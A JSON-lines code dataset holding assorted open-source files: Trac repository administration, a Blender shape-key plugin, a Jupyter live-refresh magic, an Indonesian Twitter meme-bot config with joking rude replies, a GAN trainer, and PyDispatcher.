keys(self):\n\t\tself.hide('user_id').append('create_time')\n\t\treturn self.fields\n\n\t@classmethod\n\tdef get_summary_by_user(cls, uid, page=1, size=10):\n\t\tpaginator = cls.query.filter_by(\n\t\t\tuser_id=uid\n\t\t).order_by(cls.create_time.desc()).paginate(\n\t\t\tpage=page,\n\t\t\tper_page=size,\n\t\t\terror_out=True\n\t\t)\n\t\tpaginator.hide('snap_items', 'snap_address', 'prepay_id')\n\t\treturn {\n\t\t\t'total': paginator.total,\n\t\t\t'current_page': paginator.page,\n\t\t\t'data': paginator.items\n\t\t}", "source": "linrong/flask-server", "license": "MIT"} {"text": "#! /usr/bin/env python3\n\nfrom psutil import process_iter\n\n\n# Defining process_info function to list all the process, names and usernames with the help of psutil library.\ndef processes_info():\n for process in process_iter(attrs=['name', 'pid', 'username']):\n print(process.info)\n", "source": "Tech-Overlord/system-info", "license": "BSD-2-Clause"} {"text": "# -*- coding: utf-8 -*-\n#\n# Copyright (C) 2008 Edgewall Software\n# All rights reserved.\n#\n# This software is licensed as described in the file COPYING, which\n# you should have received as part of this distribution. The terms\n# are also available at http://trac.edgewall.com/license.html.\n#\n# This software consists of voluntary contributions made by many\n# individuals. For the exact contribution history, see the revision\n# history and logs, available at http://trac.edgewall.org/.\n\nimport os.path\nimport sys\n\nfrom genshi.builder import tag\n\nfrom trac.admin import IAdminCommandProvider, IAdminPanelProvider\nfrom trac.config import ListOption\nfrom trac.core import *\nfrom trac.perm import IPermissionRequestor\nfrom trac.util import as_bool, is_path_below\nfrom trac.util.compat import any\nfrom trac.util.text import breakable_path, normalize_whitespace, print_table, \\\n printout\nfrom trac.util.translation import _, ngettext, tag_\nfrom trac.versioncontrol import DbRepositoryProvider, RepositoryManager, \\\n is_default\nfrom trac.web.chrome import Chrome, add_notice, add_warning\n\n\nclass VersionControlAdmin(Component):\n \"\"\"trac-admin command provider for version control administration.\"\"\"\n\n implements(IAdminCommandProvider, IPermissionRequestor)\n\n # IAdminCommandProvider methods\n\n def get_admin_commands(self):\n yield ('changeset added', ' [rev] [...]',\n \"\"\"Notify trac about changesets added to a repository\n\n This command should be called from a post-commit hook. It will\n trigger a cache update and notify components about the addition.\n \"\"\",\n self._complete_repos, self._do_changeset_added)\n yield ('changeset modified', ' [rev] [...]',\n \"\"\"Notify trac about changesets modified in a repository\n\n This command should be called from a post-revprop hook after\n revision properties like the commit message, author or date\n have been changed. It will trigger a cache update for the given\n revisions and notify components about the change.\n \"\"\",\n self._complete_repos, self._do_changeset_modified)\n yield ('repository list', '',\n 'List source repositories',\n None, self._do_list)\n yield ('repository resync', ' [rev]',\n \"\"\"Re-synchronize trac with repositories\n\n When [rev] is specified, only that revision is synchronized.\n Otherwise, the complete revision history is synchronized. Note\n that this operation can take a long time to complete.\n If synchronization gets interrupted, it can be resumed later\n using the `sync` command.\n\n To synchronize all repositories, specify \"*\" as the repository.\n \"\"\",\n self._complete_repos, self._do_resync)\n yield ('repository sync', ' [rev]',\n \"\"\"Resume synchronization of repositories\n\n It works like `resync`, except that it doesn't clear the already\n synchronized changesets, so it's a better way to resume an\n interrupted `resync`.\n\n See `resync` help for detailed usage.\n \"\"\",\n self._complete_repos, self._do_sync)\n\n def get_reponames(self):\n rm = RepositoryManager(self.env)\n return [reponame or '(default)' for reponame\n in rm.get_all_repositories()]\n\n def _complete_repos(self, args):\n if len(args) == 1:\n return self.get_reponames()\n\n def _do_changeset_added(self, reponame, *revs):\n if is_default(reponame):\n reponame = ''\n rm = RepositoryManager(self.env)\n rm.notify('changeset_added', reponame, revs)\n\n def _do_changeset_modified(self, reponame, *revs):\n if is_default(reponame):\n reponame = ''\n rm = RepositoryManager(self.env)\n rm.notify('changeset_modified', reponame, revs)\n\n def _do_list(self):\n rm = RepositoryManager(self.env)\n values = []\n for (reponame, info) in sorted(rm.get_all_repositories().iteritems()):\n alias = ''\n if 'alias' in info:\n alias = info['alias'] or '(default)'\n values.append((reponame or '(default)', info.get('type', ''),\n alias, info.get('dir', '')))\n print_table(values, [_('Name'), _('Type'), _('Alias'), _('Directory')])\n\n def _sync(self, reponame, rev, clean):\n rm = RepositoryManager(self.env)\n if reponame == '*':\n if rev is not None:\n raise TracError(_('Cannot synchronize a single revision '\n 'on multiple repositories'))\n repositories = rm.get_real_repositories()\n else:\n if is_default(reponame):\n reponame = ''\n repos = rm.get_repository(reponame)\n if repos is None:\n raise TracError(_(\"Repository '%(repo)s' not found\",\n repo=reponame or '(default)'))\n if rev is not None:\n repos.sync_changeset(rev)\n printout(_('%(rev)s resynced on %(reponame)s.', rev=rev,\n reponame=repos.reponame or '(default)'))\n return\n repositories = [repos]\n\n for repos in sorted(repositories, key=lambda r: r.reponame):\n printout(_('Resyncing repository history for %(reponame)s... ',\n reponame=repos.reponame or '(default)'))\n repos.sync(self._sync_feedback, clean=clean)\n for cnt, in self.env.db_query(\n \"SELECT count(rev) FROM revision WHERE repos=%s\",\n (repos.id,)):\n printout(ngettext('%(num)s revision cached.',\n '%(num)s revisions cached.', num=cnt))\n printout(_('Done.'))\n\n def _sync_feedback(self, rev):\n sys.stdout.write(' [%s]\\r' % rev)\n sys.stdout.flush()\n\n def _do_resync(self, reponame, rev=None):\n self._sync(reponame, rev, clean=True)\n\n def _do_sync(self, reponame, rev=None):\n self._sync(reponame, rev, clean=False)\n\n # IPermissionRequestor methods\n\n def get_permission_actions(self):\n return [('VERSIONCONTROL_ADMIN', ['BROWSER_VIEW', 'CHANGESET_VIEW',\n 'FILE_VIEW', 'LOG_VIEW'])]\n\n\nclass RepositoryAdminPanel(Component):\n \"\"\"Web admin panel for repository administration.\"\"\"\n\n implements(IAdminPanelProvider)\n\n allowed_repository_dir_prefixes = ListOption('versioncontrol',\n 'allowed_repository_dir_prefixes', '',\n doc=\"\"\"Comma-separated list of allowed prefixes for repository\n directories when adding and editing repositories in the repository\n admin panel. If the list is empty, all repository directories are\n allowed. (''since 0.12.1'')\"\"\")\n\n # IAdminPanelProvider methods\n\n def get_admin_panels(self, req):\n if 'VERSIONCONTROL_ADMIN' in req.perm('admin', 'versioncontrol/repository'):\n yield ('versioncontrol', _('Version Control'), 'repository',\n _('Repositories'))\n\n def render_admin_panel(self, req, category, page, path_info):\n # Retrieve info for all repositories\n rm = RepositoryManager(self.env)\n all_repos = rm.get_all_repositories()\n db_provider = self.env[DbRepositoryProvider]\n\n if path_info:\n # Detail view\n reponame = path_info if not is_default(path_info) else ''\n info = all_repos.get(reponame)\n if info is None:\n raise TracError(_(\"Repository '%(repo)s' not found\",\n repo=path_info))\n if req.method == 'POST':\n if req.args.get('cancel'):\n req.redirect(req.href.admin(category, page))\n\n elif db_provider and req.args.get('save'):\n # Modify repository\n changes = {}\n valid = True\n for field in db_provider.repository_attrs:\n value = normalize_whitespace(req.args.get(field))\n if (value is not None or field == 'hidden') \\\n and value != info.get(field):\n changes[field] = value\n if 'dir' in changes and not \\\n self._check_dir(req, changes['dir']):\n valid = False\n if valid and changes:\n db_provider.modify_repository(reponame, changes)\n add_notice(req, _('Your changes have been saved.'))\n name = req.args.get('name')\n resync = tag.tt('trac-admin $ENV repository resync '\n '\"%s\"' % (name or '(default)'))\n if 'dir' in changes:\n msg = tag_('You should now run %(resync)s to '\n 'synchronize Trac with the repository.',\n resync=resync)\n add_notice(req, msg)\n elif 'type' in changes:\n msg = tag_('You may have to run %(resync)s to '\n 'synchronize Trac with the repository.',\n resync=resync)\n add_notice(req, msg)\n if name and name != path_info and not 'alias' in info:\n cset_added = tag.tt('trac-admin $ENV changeset '\n 'added \"%s\" $REV'\n % (name or '(default)'))\n msg = tag_('You will need to update your '\n 'post-commit hook to call '\n '%(cset_added)s with the new '\n 'repository name.',\n cset_added=cset_added)\n add_notice(req, msg)\n if valid:\n req.redirect(req.href.admin(category, page))\n\n Chrome(self.env).add_wiki_toolbars(req)\n data = {'view': 'detail', 'reponame': reponame}\n\n else:\n # List view\n if req.method == 'POST':\n # Add a repository\n if db_provider and req.args.get('add_repos'):\n name = req.args.get('name')\n type_ = req.args.get('type')\n # Avoid errors when copy/pasting paths\n dir = normalize_whitespace(req.args.get('dir', ''))\n if name is None or type_ is None or not dir:\n add_warning(req, _('Missing arguments to add a '\n 'repository.'))\n elif self._check_dir(req, dir):\n try:\n db_provider.add_repository(name, dir, type_)\n except self.env.db_exc.IntegrityError:\n name = name or '(default)'\n raise TracError(_('The repository \"%(name)s\" '\n 'already exists.', name=name))\n name = name or '(default)'\n add_notice(req, _('The repository \"%(name)s\" has been '\n 'added.', name=name))\n resync = tag.tt('trac-admin $ENV repository resync '\n '\"%s\"' % name)\n msg = tag_('You should now run %(resync)s to '\n 'synchronize Trac with the repository.',\n resync=resync)\n add_notice(req, msg)\n cset_added = tag.tt('trac-admin $ENV changeset '\n 'added \"%s\" $REV' % name)\n msg = tag_('You should also set up a post-commit hook '\n 'on the repository to call %(cset_added)s '\n 'for each committed changeset.',\n cset_added=cset_added)\n add_notice(req, msg)\n req.redirect(req.href.admin(category, page))\n\n # Add a repository alias\n elif db_provider and req.args.get('add_alias'):\n name = req.args.get('name')\n alias = req.args.get('alias')\n if name is not None and alias is not None:\n try:\n db_provider.add_alias(name, alias)\n except self.env.db_exc.IntegrityError:\n raise TracError(_('The alias \"%(name)s\" already '\n 'exists.',\n name=name or '(default)'))\n add_notice(req, _('The alias \"%(name)s\" has been '\n 'added.', name=name or '(default)'))\n req.redirect(req.href.admin(category, page))\n add_warning(req, _('Missing arguments to add an '\n 'alias.'))\n\n # Refresh the list of repositories\n elif req.args.get('refresh'):\n req.redirect(req.href.admin(category, page))\n\n # Remove repositories\n elif db_provider and req.args.get('remove'):\n sel = req.args.getlist('sel')\n if sel:\n for name in sel:\n db_provider.remove_repository(name)\n add_notice(req, _('The selected repositories have '\n 'been removed.'))\n req.redirect(req.href.admin(category, page))\n add_warning(req, _('No repositories were selected.'))\n\n data = {'view': 'list'}\n\n # Find repositories that are editable\n db_repos = {}\n if db_provider is not None:\n db_repos = dict(db_provider.get_repositories())\n\n # Prepare common rendering data\n repositories = dict((reponame, self._extend_info(reponame, info.copy(),\n reponame in db_repos))\n for (reponame, info) in all_repos.iteritems())\n types = sorted([''] + rm.get_supported_types())\n data.update({'types': types, 'default_type': rm.repository_type,\n 'repositories': repositories})\n\n return 'admin_repositories.html', data\n\n def _extend_info(self, reponame, info, editable):\n \"\"\"Extend repository info for rendering.\"\"\"\n info['name'] = reponame\n if info.get('dir') is not None:\n info['prettydir'] = breakable_path(info['dir']) or ''\n info['hidden'] = as_bool(info.get('hidden'))\n info['editable'] = editable\n if not info.get('alias'):\n try:\n repos = RepositoryManager(self.env).get_repository(reponame)\n youngest_rev = repos.get_youngest_rev()\n info['rev'] = youngest_rev\n info['display_rev'] = repos.display_rev(youngest_rev)\n except Exception:\n pass\n return info\n\n def _check_dir(self, req, dir):\n \"\"\"Check that a repository directory is valid, and add a warning\n message if not.\n \"\"\"\n if not os.path.isabs(dir):\n add_warning(req, _('The repository directory must be an absolute '\n 'path.'))\n return False\n prefixes = [os.path.join(self.env.path, prefix)\n for prefix in self.allowed_repository_dir_prefixes]\n if prefixes and not any(is_path_below(dir, prefix)\n for prefix in prefixes):\n add_warning(req, _('The repository directory must be located '\n 'below one of the following directories: '\n '%(dirs)s', dirs=', '.join(prefixes)))\n return False\n return True\n", "source": "arielnetworks/trac", "license": "BSD-3-Clause"} {"text": "# Blender\u5185\u90e8\u306e\u30c7\u30fc\u30bf\u69cb\u9020\u306b\u30a2\u30af\u30bb\u30b9\u3059\u308b\u305f\u3081\u306b\u5fc5\u8981\nimport bpy\nimport bmesh\n\n\nbl_info = {\n \"name\" : \"AsymmetrizeShapekeyPlugin\",\n \"author\" : \"lowteq\",\n \"version\" : (0,1),\n \"blender\" : (2,78, 0),\n \"location\" : \"View3D > Object\",\n \"description\" : \"Duplicate symmetric shapekey into asymmetric shapekeys\",\n \"warning\" : \"\",\n \"wiki_url\" : \"https://github.com/lowteq/blenderScripts\",\n \"tracker_url\" : \"\",\n \"category\" : \"Object\"\n}\n\n\nclass OBJECT_asymmetrize_shapekey(bpy.types.Operator):\n\n bl_idname = \"object.asymmetrize_shapekey\"\n bl_label = \"Asymmetrize_Shapekey\"\n bl_description = \"Duplicate symmetric shapekey into asymmetric shapekeys\"\n bl_options = {'REGISTER', 'UNDO'}\n\n\n def execute(self, context):\n bpy.ops.object.mode_set(mode='OBJECT')\n obj = bpy.context.active_object\n\n src_shapekey_name = obj.active_shape_key.name\n src_shapekey_index = obj.active_shape_key_index\n\n obj.shape_key_add(name=src_shapekey_name + \"_R\", from_mix=True)\n shape_r_index = len(obj.data.shape_keys.key_blocks) - 1\n obj.shape_key_add(name=src_shapekey_name + \"_L\", from_mix=True)\n shape_l_index = len(obj.data.shape_keys.key_blocks) - 1\n\n bpy.ops.object.mode_set(mode='EDIT')\n index = obj.active_shape_key_index\n mesh = bmesh.from_edit_mesh(obj.data)\n bpy.ops.mesh.select_all(action=\"DESELECT\")\n\n for v in mesh.verts:\n if v.co.x > 0:\n v.select = True\n else:\n v.select = False\n bpy.context.object.active_shape_key_index = shape_l_index\n bpy.ops.mesh.blend_from_shape(shape=src_shapekey_name, blend=1)\n\n bpy.ops.mesh.select_all(action=\"DESELECT\")\n mesh = bmesh.from_edit_mesh(obj.data)\n\n for v in mesh.verts:\n if v.co.x < 0:\n v.select = True\n else:\n v.select = False\n\n bpy.context.object.active_shape_key_index = shape_r_index\n bpy.ops.mesh.blend_from_shape(shape=src_shapekey_name, blend=1)\n\n bpy.ops.mesh.select_all(action=\"DESELECT\")\n bpy.ops.object.mode_set(mode='OBJECT')\n return {'FINISHED'}\n\n\ndef menu_func(self, context):\n self.layout.operator(OBJECT_asymmetrize_shapekey.bl_idname,text=\"Asymmetrize Shapekey\")\n\n\ndef register():\n bpy.utils.register_module(__name__)\n bpy.types.MESH_MT_shape_key_specials.append(menu_func)\n\n\ndef unregister():\n bpy.utils.unregister_module(__name__)\n bpy.types.MESH_MT_shape_key_specials.remove(menu_func)\n\n\nif __name__ == \"__main__\":\n register()", "source": "lowteq/blenderScripts", "license": "MIT"} {"text": "src = Split('''\r\n tls_test.c\r\n''')\r\n\r\ncomponent = aos_component('tls_test', src)\r\ncomponent.add_comp_deps('security/mbedtls')", "source": "jinlongliu/AliOS-Things", "license": "Apache-2.0"} {"text": "import ipywidgets as widgets\nfrom IPython.core.magic_arguments import magic_arguments, argument, parse_argstring\nfrom IPython.core.magic import line_magic, cell_magic, line_cell_magic, Magics, magics_class\nfrom jupyter_interval_widget import Interval\nfrom IPython.display import display, clear_output\n\n@magics_class\nclass JupyterLiveMagic(Magics):\n @cell_magic\n @magic_arguments()\n @argument(\"-r\", \"--refresh-rate\",\n type=int,\n default=1000,\n help=\"Refresh rate in milliseconds\"\n )\n def live(self, line='', cell=None):\n args = parse_argstring(self.live, line)\n refresh_rate = args.refresh_rate\n\n outer = self\n output = widgets.Output()\n def update_output(self):\n with output:\n clear_output(wait=True)\n outer.shell.run_cell(cell, store_history=False)\n\n interval = Interval(value=refresh_rate)\n interval.on_tick(update_output)\n\n display(widgets.HBox(children=(output, interval)))\n", "source": "srizzo/jupyter-live", "license": "MIT"} {"text": "error_code = {\n \"private_account\": [179, \"Kalau mau ngemock pikir-pikir juga dong, masa private akun, mana keliatan tweetnya \"],\n \"blocked_account\": [136, \"Botnya dah diblock sama {}, ah ga seru\"],\n \"duplicate_tweet\": [187, \"Duplicated tweet\"],\n \"tweet_target_deleted\": [144, \"Tweetnya udah dihapus, kasian deh lo\"],\n \"tweet_target_to_long\": [186, \"Tweet hasil formatnya kepanjangan, coba yang lain aja \"],\n \"tweet_deleted_or_not_visible\": [385, \"Tweet deleted or not visible\"],\n \"twitter_over_capacity\": [130, \"Twitternya lagi overcapacity, next time yah\"],\n \"page_does_not_exist\": [34, \"Pages does not exist\"],\n \"suspended_account\": [63, \"Yang mau dimock dah disuspend, twitter, mampus.\"]\n}\n\ntweet_text = {\n \"dont_mock\": [\"Enak aja developernya mau di mock, jangan ngelawak deh {}\",\n \"Kak {}, mending cari kegiatan produktif deh.\"],\n \"follow_dulu\": \"Follow dulu, kalau gak mau ya mock manual aja yah \",\n \"untag_dong\": \"Kalau jelasin cara kerja botnya tolong di untag yah, \"\n}\n\nfile_meme = {\"output\": [\"img/meme_spongebob_output.png\", \"img/meme_khaleesi_output.png\"],\n \"input\": [\"img/meme_new.png\", \"img/meme_khaleesi.png\"]}\n\nimportant_ids = {\n \"developer_id\": 1012117785512558592,\n \"bot_id\": 1157825461277167616,\n \"bot_test_id\": 1182299095370629123,\n \"jokowi\": 366987179,\n}\n\ntrigger_words = [\"please\", \"pliisi\",\n \"please\ud83d\ude02\", \"please\ud83d\udc4f\",\n \"please\ud83e\udd2e\", \"please\ud83e\udd22\",\n \"pleasek\", \"pleaseb\", \"pleasej\",\n \"please\ud83d\udca9\", \"pleasealay\",\n \"pleaseud\"]\n\nemoji_tweet_text = {\n \"pleasek\": [\"kamu mending tutup akun twitter aja {}.\",\n \"kalau mau ngetweet, dipikir pikir aja dulu kak {}.\",\n \"kenapasih ngetweet ginian {}?\",\n \"kira kira aja kalau mau ngetweet {}.\"],\n \"pleaseb\": [\"bisa diem gak {}.\",\n \"bagusan kalo tweet ini di simpen di draft aja kak {}.\",\n \"bacooot {}.\",\n \"berisik bat sih {}\"],\n \"pleasej\": [\"jujur, lu ngetweet ginian biar apasih {}.\",\n \"jangan bikin emosi deh {} jam segini.\",\n \"juara, tweet {} juara dalam kegoblokan.\"]\n}\n", "source": "fadhluu/mocking-spongebob-bot", "license": "MIT"} {"text": "# Copyright (c) 2017-present, Facebook, Inc.\n# All rights reserved.\n#\n# This source code is licensed under the license found in the\n# LICENSE file in the root directory of this source tree.\n#\n\nimport os\nimport numpy as np\nimport torch\nfrom torch.autograd import Variable\nfrom torch.nn import functional as F\nfrom logging import getLogger\n\nfrom .utils import get_optimizer, clip_grad_norm, get_lambda, reload_model\nfrom .model import get_attr_loss, flip_attributes\n\n\nlogger = getLogger()\n\n\nclass Trainer(object):\n\n def __init__(self, ae, lat_dis, ptc_dis, clf_dis, data, params):\n \"\"\"\n Trainer initialization.\n \"\"\"\n # data / parameters\n self.data = data\n self.params = params\n\n # modules\n self.ae = ae\n self.lat_dis = lat_dis\n self.ptc_dis = ptc_dis\n self.clf_dis = clf_dis\n\n # optimizers\n self.ae_optimizer = get_optimizer(ae, params.ae_optimizer)\n logger.info(ae)\n logger.info('%i parameters in the autoencoder. '\n % sum([p.nelement() for p in ae.parameters()]))\n if params.n_lat_dis:\n logger.info(lat_dis)\n logger.info('%i parameters in the latent discriminator. '\n % sum([p.nelement() for p in lat_dis.parameters()]))\n self.lat_dis_optimizer = get_optimizer(lat_dis, params.dis_optimizer)\n if params.n_ptc_dis:\n logger.info(ptc_dis)\n logger.info('%i parameters in the patch discriminator. '\n % sum([p.nelement() for p in ptc_dis.parameters()]))\n self.ptc_dis_optimizer = get_optimizer(ptc_dis, params.dis_optimizer)\n if params.n_clf_dis:\n logger.info(clf_dis)\n logger.info('%i parameters in the classifier discriminator. '\n % sum([p.nelement() for p in clf_dis.parameters()]))\n self.clf_dis_optimizer = get_optimizer(clf_dis, params.dis_optimizer)\n\n # reload pretrained models\n if params.ae_reload:\n reload_model(ae, params.ae_reload,\n ['img_sz', 'img_fm', 'init_fm', 'n_layers', 'n_skip', 'attr', 'n_attr'])\n if params.lat_dis_reload:\n reload_model(lat_dis, params.lat_dis_reload,\n ['enc_dim', 'attr', 'n_attr'])\n if params.ptc_dis_reload:\n reload_model(ptc_dis, params.ptc_dis_reload,\n ['img_sz', 'img_fm', 'init_fm', 'max_fm', 'n_patch_dis_layers'])\n if params.clf_dis_reload:\n reload_model(clf_dis, params.clf_dis_reload,\n ['img_sz', 'img_fm', 'init_fm', 'max_fm', 'hid_dim', 'attr', 'n_attr'])\n\n # training statistics\n self.stats = {}\n self.stats['rec_costs'] = []\n self.stats['lat_dis_costs'] = []\n self.stats['ptc_dis_costs'] = []\n self.stats['clf_dis_costs'] = []\n\n # best reconstruction loss / best accuracy\n self.best_loss = 1e12\n self.best_accu = -1e12\n self.params.n_total_iter = 0\n\n def lat_dis_step(self):\n \"\"\"\n Train the latent discriminator.\n \"\"\"\n data = self.data\n params = self.params\n self.ae.eval()\n self.lat_dis.train()\n bs = params.batch_size\n # batch / encode / discriminate\n batch_x, batch_y = data.train_batch(bs)\n enc_outputs = self.ae.encode(Variable(batch_x.data, volatile=True))\n preds = self.lat_dis(Variable(enc_outputs[-1 - params.n_skip].data))\n # loss / optimize\n loss = get_attr_loss(preds, batch_y, False, params)\n self.stats['lat_dis_costs'].append(loss.data[0])\n self.lat_dis_optimizer.zero_grad()\n loss.backward()\n if params.clip_grad_norm:\n clip_grad_norm(self.lat_dis.parameters(), params.clip_grad_norm)\n self.lat_dis_optimizer.step()\n\n def ptc_dis_step(self):\n \"\"\"\n Train the patch discriminator.\n \"\"\"\n data = self.data\n params = self.params\n self.ae.eval()\n self.ptc_dis.train()\n bs = params.batch_size\n # batch / encode / discriminate\n batch_x, batch_y = data.train_batch(bs)\n flipped = flip_attributes(batch_y, params, 'all')\n _, dec_outputs = self.ae(Variable(batch_x.data, volatile=True), flipped)\n real_preds = self.ptc_dis(batch_x)\n fake_preds = self.ptc_dis(Variable(dec_outputs[-1].data))\n y_fake = Variable(torch.FloatTensor(real_preds.size())\n .fill_(params.smooth_label).cuda())\n # loss / optimize\n loss = F.binary_cross_entropy(real_preds, 1 - y_fake)\n loss += F.binary_cross_entropy(fake_preds, y_fake)\n self.stats['ptc_dis_costs'].append(loss.data[0])\n self.ptc_dis_optimizer.zero_grad()\n loss.backward()\n if params.clip_grad_norm:\n clip_grad_norm(self.ptc_dis.parameters(), params.clip_grad_norm)\n self.ptc_dis_optimizer.step()\n\n def clf_dis_step(self):\n \"\"\"\n Train the classifier discriminator.\n \"\"\"\n data = self.data\n params = self.params\n self.clf_dis.train()\n bs = params.batch_size\n # batch / predict\n batch_x, batch_y = data.train_batch(bs)\n preds = self.clf_dis(batch_x)\n # loss / optimize\n loss = get_attr_loss(preds, batch_y, False, params)\n self.stats['clf_dis_costs'].append(loss.data[0])\n self.clf_dis_optimizer.zero_grad()\n loss.backward()\n if params.clip_grad_norm:\n clip_grad_norm(self.clf_dis.parameters(), params.clip_grad_norm)\n self.clf_dis_optimizer.step()\n\n def autoencoder_step(self):\n \"\"\"\n Train the autoencoder with cross-entropy loss.\n Train the encoder with discriminator loss.\n \"\"\"\n data = self.data\n params = self.params\n self.ae.train()\n if params.n_lat_dis:\n self.lat_dis.eval()\n if params.n_ptc_dis:\n self.ptc_dis.eval()\n if params.n_clf_dis:\n self.clf_dis.eval()\n bs = params.batch_size\n # batch / encode / decode\n batch_x, batch_y = data.train_batch(bs)\n enc_outputs, dec_outputs = self.ae(batch_x, batch_y)\n # autoencoder loss from reconstruction\n loss = params.lambda_ae * ((batch_x - dec_outputs[-1]) ** 2).mean()\n self.stats['rec_costs'].append(loss.data[0])\n # encoder loss from the latent discriminator\n if params.lambda_lat_dis:\n lat_dis_preds = self.lat_dis(enc_outputs[-1 - params.n_skip])\n lat_dis_loss = get_attr_loss(lat_dis_preds, batch_y, True, params)\n loss = loss + get_lambda(params.lambda_lat_dis, params) * lat_dis_loss\n # decoding with random labels\n if params.lambda_ptc_dis + params.lambda_clf_dis > 0:\n flipped = flip_attributes(batch_y, params, 'all')\n dec_outputs_flipped = self.ae.decode(enc_outputs, flipped)\n # autoencoder loss from the patch discriminator\n if params.lambda_ptc_dis:\n ptc_dis_preds = self.ptc_dis(dec_outputs_flipped[-1])\n y_fake = Variable(torch.FloatTensor(ptc_dis_preds.size())\n .fill_(params.smooth_label).cuda())\n ptc_dis_loss = F.binary_cross_entropy(ptc_dis_preds, 1 - y_fake)\n loss = loss + get_lambda(params.lambda_ptc_dis, params) * ptc_dis_loss\n # autoencoder loss from the classifier discriminator\n if params.lambda_clf_dis:\n clf_dis_preds = self.clf_dis(dec_outputs_flipped[-1])\n clf_dis_loss = get_attr_loss(clf_dis_preds, flipped, False, params)\n loss = loss + get_lambda(params.lambda_clf_dis, params) * clf_dis_loss\n # check NaN\n if (loss != loss).data.any():\n logger.error(\"NaN detected\")\n exit()\n # optimize\n self.ae_optimizer.zero_grad()\n loss.backward()\n if params.clip_grad_norm:\n clip_grad_norm(self.ae.parameters(), params.clip_grad_norm)\n self.ae_optimizer.step()\n\n def step(self, n_iter):\n \"\"\"\n End training iteration / print training statistics.\n \"\"\"\n # average loss\n if len(self.stats['rec_costs']) >= 25:\n mean_loss = [\n ('Latent discriminator', 'lat_dis_costs'),\n ('Patch discriminator', 'ptc_dis_costs'),\n ('Classifier discriminator', 'clf_dis_costs'),\n ('Reconstruction loss', 'rec_costs'),\n ]\n logger.info(('%06i - ' % n_iter) +\n ' / '.join(['%s : %.5f' % (a, np.mean(self.stats[b]))\n for a, b in mean_loss if len(self.stats[b]) > 0]))\n del self.stats['rec_costs'][:]\n del self.stats['lat_dis_costs'][:]\n del self.stats['ptc_dis_costs'][:]\n del self.stats['clf_dis_costs'][:]\n\n self.params.n_total_iter += 1\n\n def save_model(self, name):\n \"\"\"\n Save the model.\n \"\"\"\n def save(model, filename):\n path = os.path.join(self.params.dump_path, '%s_%s.pth' % (name, filename))\n logger.info('Saving %s to %s ...' % (filename, path))\n torch.save(model, path)\n save(self.ae, 'ae')\n if self.params.n_lat_dis:\n save(self.lat_dis, 'lat_dis')\n if self.params.n_ptc_dis:\n save(self.ptc_dis, 'ptc_dis')\n if self.params.n_clf_dis:\n save(self.clf_dis, 'clf_dis')\n\n def save_best_periodic(self, to_log):\n \"\"\"\n Save the best models / periodically save the models.\n \"\"\"\n if to_log['ae_loss'] < self.best_loss:\n self.best_loss = to_log['ae_loss']\n logger.info('Best reconstruction loss: %.5f' % self.best_loss)\n self.save_model('best_rec')\n if self.params.eval_clf and np.mean(to_log['clf_accu']) > self.best_accu:\n self.best_accu = np.mean(to_log['clf_accu'])\n logger.info('Best evaluation accuracy: %.5f' % self.best_accu)\n self.save_model('best_accu')\n if to_log['n_epoch'] % 5 == 0 and to_log['n_epoch'] > 0:\n self.save_model('periodic-%i' % to_log['n_epoch'])\n\n\ndef classifier_step(classifier, optimizer, data, params, costs):\n \"\"\"\n Train the classifier.\n \"\"\"\n classifier.train()\n bs = params.batch_size\n\n # batch / classify\n batch_x, batch_y = data.train_batch(bs)\n preds = classifier(batch_x)\n # loss / optimize\n loss = get_attr_loss(preds, batch_y, False, params)\n costs.append(loss.data[0])\n optimizer.zero_grad()\n loss.backward()\n if params.clip_grad_norm:\n clip_grad_norm(classifier.parameters(), params.clip_grad_norm)\n optimizer.step()\n", "source": "ameya005/Semantic_Adversarial_Attacks", "license": "MIT"} {"text": "\"\"\"Multiple-producer-multiple-consumer signal-dispatching\n\ndispatcher is the core of the PyDispatcher system,\nproviding the primary API and the core logic for the\nsystem.\n\nModule attributes of note:\n\n\tAny -- Singleton used to signal either \"Any Sender\" or\n\t\t\"Any Signal\". See documentation of the _Any class.\n\tAnonymous -- Singleton used to signal \"Anonymous Sender\"\n\t\tSee documentation of the _Anonymous class.\n\nInternal attributes:\n\tWEAKREF_TYPES -- tuple of types/classes which represent\n\t\tweak references to receivers, and thus must be de-\n\t\treferenced on retrieval to retrieve the callable\n\t\tobject\n\tconnections -- { senderkey (id) : { signal : [receivers...]}}\n\tsenders -- { senderkey (id) : weakref(sender) }\n\t\tused for cleaning up sender references on sender\n\t\tdeletion\n\tsendersBack -- { receiverkey (id) : [senderkey (id)...] }\n\t\tused for cleaning up receiver references on receiver\n\t\tdeletion, (considerably speeds up the cleanup process\n\t\tvs. the original code.)\n\"\"\"\nfrom __future__ import generators\nimport weakref\nfrom pydispatch import saferef, robustapply, errors\n\n__author__ = \"Patrick K. O'Brien \"\n__cvsid__ = \"$Id: dispatcher.py,v 1.1 2010/03/30 15:45:55 mcfletch Exp $\"\n__version__ = \"$Revision: 1.1 $\"[11:-2]\n\nclass _Parameter:\n\t\"\"\"Used to represent default parameter values.\"\"\"\n\tdef __repr__(self):\n\t\treturn self.__class__.__name__\n\nclass _Any(_Parameter):\n\t\"\"\"Singleton used to signal either \"Any Sender\" or \"Any Signal\"\n\n\tThe Any object can be used with connect, disconnect,\n\tsend, or sendExact to signal that the parameter given\n\tAny should react to all senders/signals, not just\n\ta particular sender/signal.\n\t\"\"\"\nAny = _Any()\n\nclass _Anonymous(_Parameter):\n\t\"\"\"Singleton used to signal \"Anonymous Sender\"\n\n\tThe Anonymous object is used to signal that the sender\n\tof a message is not specified (as distinct from being\n\t\"any sender\"). Registering callbacks for Anonymous\n\twill only receive messages sent without senders. Sending\n\twith anonymous will only send messages to those receivers\n\tregistered for Any or Anonymous.\n\n\tNote:\n\t\tThe default sender for connect is Any, while the\n\t\tdefault sender for send is Anonymous. This has\n\t\tthe effect that if you do not specify any senders\n\t\tin either function then all messages are routed\n\t\tas though there was a single sender (Anonymous)\n\t\tbeing used everywhere.\n\t\"\"\"\nAnonymous = _Anonymous()\n\nWEAKREF_TYPES = (weakref.ReferenceType, saferef.BoundMethodWeakref)\n\nconnections = {}\nsenders = {}\nsendersBack = {}\n\n\ndef connect(receiver, signal=Any, sender=Any, weak=True):\n\t\"\"\"Connect receiver to sender for signal\n\n\treceiver -- a callable Python object which is to receive\n\t\tmessages/signals/events. Receivers must be hashable\n\t\tobjects.\n\n\t\tif weak is True, then receiver must be weak-referencable\n\t\t(more precisely saferef.safeRef() must be able to create\n\t\ta reference to the receiver).\n\t\n\t\tReceivers are fairly flexible in their specification,\n\t\tas the machinery in the robustApply module takes care\n\t\tof most of the details regarding figuring out 